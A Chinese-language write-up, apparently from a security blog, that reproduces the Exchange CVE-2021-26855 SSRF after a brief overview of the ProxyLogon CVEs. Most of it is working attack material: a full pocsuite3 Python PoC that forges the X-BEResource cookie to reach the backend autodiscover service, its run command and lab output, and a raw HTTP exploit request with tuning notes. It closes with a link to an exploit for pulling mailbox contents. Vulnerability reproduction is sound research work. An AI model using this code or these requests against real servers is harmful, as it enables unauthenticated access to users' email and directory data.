概述:Exchange CVE-2021-26855 漏洞复现及分析

相关分析:

漏洞

2021年三月,微软修复了Microsoft Exchange多个高危漏洞。通过组合利用这些漏洞能够在未经身份验证的情况下远程获取目标服务器权限。其中包括:

  • CVE-2021-26855: 服务端请求伪造(SSRF)漏洞,通过该漏洞,攻击者可以发送任意HTTP请求并通过Exchange Server进行身份验证,获取权限。
  • CVE-2021-26857: 是统一消息服务中的不安全反序列化漏洞。通过该此漏洞,具有管理员权限的攻击者可以在Exchange服务器上以SYSTEM身份运行任意代码。
  • CVE-2021-26858/CVE-2021-27065: 任意文件写入漏洞,在通过身份验证后攻击者可以利用该漏洞将文件写入服务器的任意路径。

漏洞无需验证和交互即可触发远程代码执行,危害极大。

影响范围

CVE-2021-27065/CVE-2021-26855/CVE-2021-26858: Microsoft Exchange Server 2019 Cumulative Update 8 Microsoft Exchange Server 2019 Cumulative Update 7 Microsoft Exchange Server 2016 Cumulative Update 19 Microsoft Exchange Server 2016 Cumulative Update 18 Microsoft Exchange Server 2013 Cumulative Update 23

CVE-2021-26857: Microsoft Exchange Server 2019 Cumulative Update 8 Microsoft Exchange Server 2019 Cumulative Update 7 Microsoft Exchange Server 2016 Cumulative Update 19 Microsoft Exchange Server 2016 Cumulative Update 18 Microsoft Exchange Server 2013 Cumulative Update 23 Microsoft Exchange Server 2010 Service Pack 3

漏洞复现

CVE-2021-26855

CVE-2021–26855是⼀个 SSRF ,只需要能够访问 Exchange 服务器,攻击者可以不经过任何类型的身份验证来利⽤此漏洞。相关漏洞在C:\Program Files\Microsoft\ExchangeServer\V15\FrontEnd\HttpProxy\bin目录下的Microsoft.Exchange.FrontEndHttpProxy.dll

使用 pocsuite 编写的 poc 脚本复现漏洞:

#!/usr/bin/env python3
# coding: utf-8
from urllib.parse import urljoin
from collections import OrderedDict
from pocsuite3.api import POCBase, Output, register_poc, logger, requests
from pocsuite3.api import POC_CATEGORY, OptString, REVERSE_PAYLOAD
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import string
import random
import traceback
 
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
 
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
 
class DemoPOC(POCBase):
    vulID = 'CVE-2021-26855'
    version = '1.0'
    author = ['']
    vulDate = '2021-03-06'
    createDate = '2021-03-06'
    updateDate = '2021-03-06'
    references = ['']
    name = 'Microsoft Exchange Server SSRF漏洞'
    appPowerLink = ''
    appName = 'Microsoft Exchange Server'
    appVersion = 'Exchange Server 2013、Exchange Server 2016、Exchange Server 2019'
    vulType = ''
    desc = '''
    Microsoft Exchange Server SSRF漏洞
    '''
    samples = ['']
    install_requires = ['']
 
    
    def _options(self):
        o = OrderedDict()
        o["email"] = OptString(default='administrator@ms.com',description='登录邮箱',require=False)
        return o
 
    def _verify(self):
        result = {}
        try:
            random_name = id_generator(3) + ".js"
            email = self.get_option('email')
            user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
            autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
                <Request>
                <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
                </Request>
            </Autodiscover>
            """ % email
            
            FQDN = "EXCHANGE"
            url = "%s/ecp/%s" % (self.url, random_name)
            resp = requests.get(url, headers={"Cookie": "X-BEResource=localhost~1942062522",
                                                                                    "User-Agent": user_agent},
                            verify=False, #proxies=proxies
                            )
            if "X-CalculatedBETarget" in resp.headers and "X-FEServer" in resp.headers:
                FQDN = resp.headers["X-FEServer"]
 
            url = "%s/ecp/%s" % (self.url, random_name)
            logger.info("url: %s" % url)
            resp = requests.post(url, headers={
                "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
                "Content-Type": "text/xml",
                "User-Agent": user_agent},
                            data=autoDiscoverBody,
                            verify=False, 
                            #proxies=proxies
                            )
            
            if resp.status_code != 200:
                logger.error("[-] Autodiscover Error!")
                raise Exception("Autodiscover Error")
            # logger.info(resp.text)
            logger.info(resp.content.decode("utf-8"))
            if "<LegacyDN>" not in resp.text:
                logger.error("[-] Can not get LegacyDN! from " + email)
                raise Exception("Can not get LegacyDN! from " + email)
 
            legacyDn = resp.text.split("<LegacyDN>")[1].split("</LegacyDN>")[0]
            DisplayName = resp.text.split("<DisplayName>")[1].split("</DisplayName>")[0]
            Address = resp.text.split("<AutoDiscoverSMTPAddress>")[1].split("</AutoDiscoverSMTPAddress>")[0]
            AccountType = resp.text.split("<AccountType>")[1].split("</AccountType>")[0]
            MicrosoftOnline = resp.text.split("<MicrosoftOnline>")[1].split("</MicrosoftOnline>")[0]
            PublicFolderServer = resp.text.split("<PublicFolderServer>")[1].split("</PublicFolderServer>")[0]
            Server = resp.text.split("<Server>")[1].split("</Server>")[0]
            AD = resp.text.split("<AD>")[1].split("</AD>")[0]
            ServerExclusiveConnect = resp.text.split("<ServerExclusiveConnect>")[1].split("</ServerExclusiveConnect>")[0]
            AuthPackage = resp.text.split("<AuthPackage>")[1].split("</AuthPackage>")[0]
            CertPrincipalName = resp.text.split("<CertPrincipalName>")[1].split("</CertPrincipalName>")[0]
            # OWAUrl = resp.text.split("<OWAUrl AuthenticationMethod=")[1].split("</OWAUrl>")[0]
            OOFUrl = resp.text.split("<OOFUrl>")[1].split("</OOFUrl>")[0]
 
            logger.info("[+] \033[32mSuccess!\033[00m: SSRF Authenticated on Backend Service")
            logger.info("[+] Got details...")
            logger.info("[+] Name: " + DisplayName)
            logger.info("[+] DN: " + legacyDn)
            logger.info("[+] SMTP Address: " + Address)
            logger.info("[+] Account Type: " + AccountType)
            logger.info("[+] Microsoft Online status: " + MicrosoftOnline) 
            logger.info("[+] Public folder Server: " + PublicFolderServer)
            logger.info("[+] Server: " + Server)
            logger.info("[+] AD: " + AD)
            logger.info("[+] Server Exclusive Connect status: " + ServerExclusiveConnect)
            logger.info("[+] Authentication Package used: " + AuthPackage)
            logger.info("[+] Cert Principal Name status: " + CertPrincipalName)
            # logger.info("[+] OWA URL: " + OWAUrl)
            logger.info("[+] OOF Url: " + OOFUrl + "\t<- Use this URL to extract emails, contacts from BackEnd Service")
 
            if len(legacyDn) != 0:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                result['VerifyInfo']['legacyDn'] = legacyDn
                result['VerifyInfo']['AD'] = AD
        except Exception as e:
            logger.error(e)
            logger.error(traceback.format_exc())
 
        return self.parse_output(result)
 
    def _attack(self):
        return self._verify()
 
    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output
 
 
register_poc(DemoPOC)

使用 pocsuite 运行 poc:

$ pdm run pocsuite -r "D:\Documents\A_Source\OpenSource\POC\Library-POC\Exchange\CVE-2021-26855\CVE-2021-26855 copy.py" -u https://192.168.106.148 --verify --email "zhangsan@ms.test.com"

请求返回的内容如下所示:

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/responseschema/2006">
  <Response xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <User>
      <DisplayName>张三</DisplayName>
      <LegacyDN>/o=Sullivan/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=user51a6aff4</LegacyDN>
      <AutoDiscoverSMTPAddress>zhangsan@ms.test.com</AutoDiscoverSMTPAddress>
      <DeploymentId>617d9d9f-49ee-4ff9-8d88-d5ec6a4bf175</DeploymentId>
    </User>
    <Account>
      <AccountType>email</AccountType>
      <Action>settings</Action>
      <MicrosoftOnline>False</MicrosoftOnline>
      <Protocol>
        <Type>EXCH</Type>
        <Server>6a218915-a8ac-4f8b-a6d2-3a99d28b1ba3@ms.test.com</Server>
        <ServerDN>/o=Sullivan/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Configuration/cn=Servers/cn=6a218915-a8ac-4f8b-a6d2-3a99d28b1ba3@ms.test.com</ServerDN>
        <ServerVersion>73C18737</ServerVersion>
        <MdbDN>/o=Sullivan/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Configuration/cn=Servers/cn=6a218915-a8ac-4f8b-a6d2-3a99d28b1ba3@ms.test.com/cn=Microsoft Private MDB</MdbDN>
        <PublicFolderServer>win-1nmhtjkvjbo.ms.test.com</PublicFolderServer>
        <AD>WIN-1NMHTJKVJBO.ms.test.com</AD>
        <ASUrl>https://win-1nmhtjkvjbo.ms.test.com/EWS/Exchange.asmx</ASUrl>
        <EwsUrl>https://win-1nmhtjkvjbo.ms.test.com/EWS/Exchange.asmx</EwsUrl>
        <EmwsUrl>https://win-1nmhtjkvjbo.ms.test.com/EWS/Exchange.asmx</EmwsUrl>
        <OOFUrl>https://win-1nmhtjkvjbo.ms.test.com/EWS/Exchange.asmx</OOFUrl>
        <UMUrl>https://win-1nmhtjkvjbo.ms.test.com/EWS/UM2007Legacy.asmx</UMUrl>
        <ServerExclusiveConnect>off</ServerExclusiveConnect>
      </Protocol>
      <Protocol>
        <Type>EXPR</Type>
        <Server>win-1nmhtjkvjbo.ms.test.com</Server>
        <SSL>Off</SSL>
        <AuthPackage>Ntlm</AuthPackage>
        <ServerExclusiveConnect>on</ServerExclusiveConnect>
        <CertPrincipalName>None</CertPrincipalName>
        <GroupingInformation>Default-First-Site-Name</GroupingInformation>
      </Protocol>
      <Protocol>
        <Type>WEB</Type>
      </Protocol>
    </Account>
  </Response>
</Autodiscover>

运行结果如下所示:

image-20240603115949326

exp:

POST /ecp/target.js HTTP/1.1
Host: 192.168.179.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=[name]@WIN-N15UUJ077R0.saucerman.com:443/autodiscover/autodiscover.xml?#~1941962754
Content-Type: text/xml
Content-Length: 348
 
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>administrator@saucerman.com</EMailAddress>
                <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>

其中:

  • url 中的 /ecp/target.js 不是绝对的,可以是其他的路径 /ecp/XXX.png
  • X-BEResource 用于代理请求,其原本更合适应该是 [fqdn]~BackEndServerVersion,BackEndServerVersion 应该大于 1941962752
  • WIN-N15UUJ077R0.saucerman.com 为目标地址

如果不需要特别指定端口号,还可以使用下面的值:

X-BEResource=WIN-N15UUJ077R0.saucerman.com/autodiscover/autodiscover.xml?#~1941962753

这样会导致以443端口访问 https://win-n15uuj077r0.saucerman.com/autodiscover/autodiscover.xml?#:444/ecp/target.js

获取邮件列表,下载 exp :

https://github.com/charlottelatest/CVE-2021-26855